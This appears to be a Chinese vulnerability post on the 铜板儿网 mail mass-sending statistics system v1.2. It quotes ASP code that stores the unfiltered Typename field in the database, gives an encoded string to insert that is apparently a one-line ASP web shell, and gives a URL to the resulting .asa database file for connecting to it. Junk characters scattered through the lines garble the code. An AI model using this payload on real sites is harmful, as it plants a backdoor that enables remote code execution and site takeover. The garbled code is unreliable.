铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
8 q. s7 q. @" |3 z( d* T
' P9 T8 n1 j$ KIF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
0 P0 g) R- j( `- Z8 a( u* n; O8 T'略
0 O" o) M. ]4 x2 Q8 I: }% w! B) c! X) dIF Request.QueryString("Action")="Add" Then
. ?! Q4 D! Z) p. BTname=Request.Form("Typename")
8 `; Z1 X7 s1 KSet Rs=Server.CreateObject("adodb.Recordset")
7 N  O# r7 S  t4 p# n5 _& bSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
'略
" X/ l% x+ B. r%>


/ Y' o, i* z$ o: |7 F3 F6 e
没有过滤，直接写入数据库。

利用方法：
1 G. X5 D8 ?# L. v# a: H
插入：┼攠數畣整爠煥敵瑳∨≡┩>

+ E. D& i* x8 L& d
) J; o; y3 e0 s- m) P* N5 ~7 T2 H连接： http://www.xxx.com/###tongbaner.asa
; @7 O' e& N5 \1 j" j'默认安装文件：
'install.asp